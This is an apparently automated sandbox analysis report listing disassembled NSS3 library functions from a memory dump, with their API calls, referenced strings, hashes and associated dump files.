Part of subcall function 6C5CBB80: GetLastError.KERNEL32 ref: 6C5CBC03
Part of subcall function 6C5CBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C5CBC19
Part of subcall function 6C5CBB80: free.MOZGLUE(00000000), ref: 6C5CBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C6F1193), ref: 6C6F1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C6F1193), ref: 6C6F1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C6F1193), ref: 6C6F1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C6F1193), ref: 6C6F1D1A

Part of subcall function 6C6A9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C5D1A48), ref: 6C6A9BB3
Part of subcall function 6C6A9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D1A48), ref: 6C6A9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C6F1193), ref: 6C6F1D3D

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C6F1193), ref: 6C6F1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C6F1193), ref: 6C6F1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C6F1193), ref: 6C6F1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C6F1193), ref: 6C6F1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C6F1193), ref: 6C6F1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C6F1193), ref: 6C6F1D93
PR_DestroyLock.NSS3(00000000,?,?,6C6F1193), ref: 6C6F1D9F
free.MOZGLUE(00000000,?,6C6F1193), ref: 6C6F1DA8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: b5f2197f1da634e154743e58c2b038c716ae5901787a2e45d3209ced3d6590ae
Instruction ID: a714df520f6c352a7c3ab53bc41138fafcf4841d8912ca5eff21c0131a74c966
Opcode Fuzzy Hash: b5f2197f1da634e154743e58c2b038c716ae5901787a2e45d3209ced3d6590ae
Instruction Fuzzy Hash: 2731FCF1E007019FEB20AF64AC41A5776F8AF4175DF044539E85A87B41FB31E819CBAA

Function 6C605E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C605ECF
EnterCriticalSection.KERNEL32(?), ref: 6C605EE3
PR_Unlock.NSS3(?), ref: 6C605F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C605FB5

Strings

S&bl, xrefs: 6C6062E3
S&bl, xrefs: 6C605E6C, 6C60627F, 6C605F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6061F4

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&bl$S&bl
API String ID: 2280678669-3461891554
Opcode ID: f59568c989d4bcb5dbb9d38faed63092d0b77b556747d6cbcea31bdc3afe39fd
Instruction ID: 85bc9213184711dd374d2f7e3a20af0f4379859eb93e8e0e5c9ac6c11e3026a1
Opcode Fuzzy Hash: f59568c989d4bcb5dbb9d38faed63092d0b77b556747d6cbcea31bdc3afe39fd
Instruction Fuzzy Hash: D9F103B5A002158FDB54CF28C984B86BBF4FF09304F1582AADC089B746E774EA95CF95

Function 6C650C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,el), ref: 6C650C81

Part of subcall function 6C63BE30: SECOID_FindOID_Util.NSS3(6C5F311B,00000000,?,6C5F311B,?), ref: 6C63BE44

Part of subcall function 6C628500: SECOID_GetAlgorithmTag_Util.NSS3(6C6295DC,00000000,00000000,00000000,?,6C6295DC,00000000,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C628517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C650CC4

Part of subcall function 6C63FAB0: free.MOZGLUE(?,-00000001,?,?,6C5DF673,00000000,00000000), ref: 6C63FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C650CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C650D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C650D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C650D7D
free.MOZGLUE(00000000), ref: 6C650DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C650DC1
free.MOZGLUE(00000000), ref: 6C650DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C650E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C650E0F

Part of subcall function 6C6295C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C6295E0
Part of subcall function 6C6295C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C6295F5
Part of subcall function 6C6295C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C629609
Part of subcall function 6C6295C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C62961D
Part of subcall function 6C6295C0: PK11_GetInternalSlot.NSS3 ref: 6C62970B
Part of subcall function 6C6295C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C629756
Part of subcall function 6C6295C0: PK11_GetIVLength.NSS3(?), ref: 6C629767
Part of subcall function 6C6295C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C62977E
Part of subcall function 6C6295C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C62978E

Strings

-$el, xrefs: 6C650C64
*,el, xrefs: 6C650DCC
*,el, xrefs: 6C650C69, 6C650DE0, 6C650C80, 6C650C8B, 6C650CAF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,el$*,el$-$el
API String ID: 3136566230-1372120074
Opcode ID: b8bdf7cf94ab4445962a17efe73261c83efbdd32b1e67a076cb8d93638ec60a9
Instruction ID: 9d550b477c7da6aa3dae35d9da7ffd6b7748521e98bcd669fe0e67edbeea3431
Opcode Fuzzy Hash: b8bdf7cf94ab4445962a17efe73261c83efbdd32b1e67a076cb8d93638ec60a9
Instruction Fuzzy Hash: 6641D3B1900259ABEB009F64DC45BEF76B4FF4530CF244124E91967B41E735EA28CBEA

Function 6C645CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C645EC0,00000000,?,?), ref: 6C645CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C645CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C645CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C645D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C645EC0,00000000,?,?), ref: 6C645D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C645D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C645D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C645D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C645D80

Strings

extern:, xrefs: 6C645CEA, 6C645D4B
sql:, xrefs: 6C645CD1, 6C645D36
dbm:, xrefs: 6C645D03, 6C645D60
multiaccess:, xrefs: 6C645CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6C645D1A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 2eca78ff2a94b7a733bd3881b0dd2e9062cf1eb76fc8cbd427b71bf7e2c597d1
Instruction ID: 467225b2fec033986f9e5f24839aae33865393059ccc161439a077b2e147b8e8
Opcode Fuzzy Hash: 2eca78ff2a94b7a733bd3881b0dd2e9062cf1eb76fc8cbd427b71bf7e2c597d1
Instruction Fuzzy Hash: 7031F7B0745361ABE7111E34DD48B6A37E8AF0234AF14C230ED99E6A81E775D611C29D

Function 6C646CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C711DE0,?), ref: 6C646CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C646D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C646D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C646D82
DER_GetInteger_Util.NSS3(?), ref: 6C646DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C646DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C646E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C646F19
PK11_DigestBegin.NSS3(00000000), ref: 6C646F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C646F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C647011
PK11_FreeSymKey.NSS3(00000000), ref: 6C647033
free.MOZGLUE(?), ref: 6C64703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C647060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C647087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6470AF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 3a639f8b677cb9adbdcb3cf945724f10ad7184056619790092e4c083a1d0f8aa
Instruction ID: cc16c44b99ddd7e4419425e20d06152225f961329ccf4cabaa674b6cc683a4a3
Opcode Fuzzy Hash: 3a639f8b677cb9adbdcb3cf945724f10ad7184056619790092e4c083a1d0f8aa
Instruction Fuzzy Hash: 56A12BB19092009BEB009F24DC45B9B32E5EB8230CF24C939E959DBB91E775D849C79F

Function 6C60AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5EAB95,00000000,?,00000000,00000000,00000000), ref: 6C60AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C5EAB95,00000000,?,00000000,00000000,00000000), ref: 6C60AF39
PR_Unlock.NSS3(?,?,?,6C5EAB95,00000000,?,00000000,00000000,00000000), ref: 6C60AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C5EAB95,00000000,?,00000000,00000000,00000000), ref: 6C60AF69
TlsGetValue.KERNEL32 ref: 6C60B06B
EnterCriticalSection.KERNEL32(?), ref: 6C60B083
PR_Unlock.NSS3(?), ref: 6C60B0A4
TlsGetValue.KERNEL32 ref: 6C60B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C60B0D9
PR_Unlock.NSS3 ref: 6C60B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C60B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C60B182

Part of subcall function 6C63FAB0: free.MOZGLUE(?,-00000001,?,?,6C5DF673,00000000,00000000), ref: 6C63FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C60B177

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C5EAB95,00000000,?,00000000,00000000,00000000), ref: 6C60B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C5EAB95,00000000,?,00000000,00000000,00000000), ref: 6C60B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C5EAB95,00000000,?,00000000,00000000,00000000), ref: 6C60B1C2

Part of subcall function 6C631560: TlsGetValue.KERNEL32(00000000,?,6C600844,?), ref: 6C63157A
Part of subcall function 6C631560: EnterCriticalSection.KERNEL32(?,?,?,6C600844,?), ref: 6C63158F
Part of subcall function 6C631560: PR_Unlock.NSS3(?,?,?,?,6C600844,?), ref: 6C6315B2

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 4f95fee8931cd77ffe8e72391e404eb8855b19c1b8831b2b19251535b95e8b92
Instruction ID: 4b9fc3c836d633153d7b0ed41178be809ad797c9334d3d360a66a168f0099398
Opcode Fuzzy Hash: 4f95fee8931cd77ffe8e72391e404eb8855b19c1b8831b2b19251535b95e8b92
Instruction Fuzzy Hash: B6A1F2B1E00206EBEF049F64DC41AEE77B4EF85309F108175E809A7752E731E959CBA9

Function 6C602C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?`l,?,6C5FE477,?,?,?,00000001,00000000,?,?,6C603F23,?), ref: 6C602C62
EnterCriticalSection.KERNEL32(0000001C,?,6C5FE477,?,?,?,00000001,00000000,?,?,6C603F23,?), ref: 6C602C76
PL_HashTableLookup.NSS3(00000000,?,?,6C5FE477,?,?,?,00000001,00000000,?,?,6C603F23,?), ref: 6C602C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C5FE477,?,?,?,00000001,00000000,?,?,6C603F23,?), ref: 6C602C93

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C5FE477,?,?,?,00000001,00000000,?,?,6C603F23,?), ref: 6C602CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C5FE477,?,?,?,00000001,00000000,?,?,6C603F23,?), ref: 6C602CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C5FE477,?,?,?,00000001,00000000,?,?,6C603F23), ref: 6C602CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C5FE477,?,?,?,00000001,00000000,?), ref: 6C602CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C5FE477,?,?,?,00000001,00000000,?), ref: 6C602D4D
EnterCriticalSection.KERNEL32(?), ref: 6C602D61
PL_HashTableLookup.NSS3(?,?), ref: 6C602D71
PR_Unlock.NSS3(?), ref: 6C602D7E

Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07AD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07CD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07D6
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C56204A), ref: 6C5D07E4
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,6C56204A), ref: 6C5D0864
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5D0880
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C56204A), ref: 6C5D08CB
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08D7
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08FB

Strings

#?`l, xrefs: 6C602C43

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?`l
API String ID: 2446853827-2634890165
Opcode ID: 43f786b716ff268322b96062cd11413ce0fa2956e4cccfa7adb9a4f9ef362de7
Instruction ID: 755c95a683365bd718b6d2dfa12adf972fb92011ca02a943864167c22a3372f6
Opcode Fuzzy Hash: 43f786b716ff268322b96062cd11413ce0fa2956e4cccfa7adb9a4f9ef362de7
Instruction Fuzzy Hash: 3F5106B6E00615ABDB00AF24DC448AA77B8FF4535DB048535EC18A7B11E731ED64CBE5

Function 6C65AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65ADB1

Part of subcall function 6C63BE30: SECOID_FindOID_Util.NSS3(6C5F311B,00000000,?,6C5F311B,?), ref: 6C63BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C65ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C65AE08

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C65AE25
PL_FreeArenaPool.NSS3 ref: 6C65AE63
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C65AE4D

Part of subcall function 6C564C70: TlsGetValue.KERNEL32(?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564C97
Part of subcall function 6C564C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CB0
Part of subcall function 6C564C70: PR_Unlock.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65AE93
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C65AECC
PL_FreeArenaPool.NSS3 ref: 6C65AEDE
PL_FinishArenaPool.NSS3 ref: 6C65AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65AEF5
PL_FinishArenaPool.NSS3 ref: 6C65AF16

Strings

security, xrefs: 6C65ADEE

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: c74753473d09077fb1b7aff52c094d6e5b3771a187c87af03f14a5bf21270d9f
Instruction ID: 4a926733701579937b7be36d7bf05ab8f6f59b79d77804cf9fc0691219b094d8
Opcode Fuzzy Hash: c74753473d09077fb1b7aff52c094d6e5b3771a187c87af03f14a5bf21270d9f
Instruction Fuzzy Hash: 59412AB1A04214A7EB109B14DC44BBB32A4AF8231CFB04525E914D2F42F735DA2A86FF

Function 6C6FAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6A9890: TlsGetValue.KERNEL32(?,?,?,6C6A97EB), ref: 6C6A989E

EnterCriticalSection.KERNEL32(?), ref: 6C6FAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C6FAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C6FAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C6FAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C6FB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C6FB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C6FB070
PR_JoinThread.NSS3(?), ref: 6C6FB07B
free.MOZGLUE(?), ref: 6C6FB084
EnterCriticalSection.KERNEL32(?), ref: 6C6FB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C6FB0C4
PR_JoinThread.NSS3(?), ref: 6C6FB0F3
free.MOZGLUE(?), ref: 6C6FB0FC
PR_JoinThread.NSS3(?), ref: 6C6FB137
free.MOZGLUE(?), ref: 6C6FB140

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: a91c8354a5bbb5dc49d0589a795109a7b76d793e1bea7880fc07bb6802705cf6
Instruction ID: b9987ceb6a924026e0e4deec1da7f02a51892ee84a5e7e0b1df79829e86e89c0
Opcode Fuzzy Hash: a91c8354a5bbb5dc49d0589a795109a7b76d793e1bea7880fc07bb6802705cf6
Instruction Fuzzy Hash: F59150B5900601DFCB14DF15C880846BBF2FF8A31C72985A9D8195BB26E732FC46CB99

Function 6C675CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C672BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C672A28,00000060,00000001), ref: 6C672BF0
Part of subcall function 6C672BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C672A28,00000060,00000001), ref: 6C672C07
Part of subcall function 6C672BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C672A28,00000060,00000001), ref: 6C672C1E
Part of subcall function 6C672BE0: free.MOZGLUE(?,00000000,00000000,?,6C672A28,00000060,00000001), ref: 6C672C4A

free.MOZGLUE(?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675D0F
free.MOZGLUE(?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675D4E
free.MOZGLUE(?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675D62
free.MOZGLUE(?,?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675D85
free.MOZGLUE(?,?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675D99
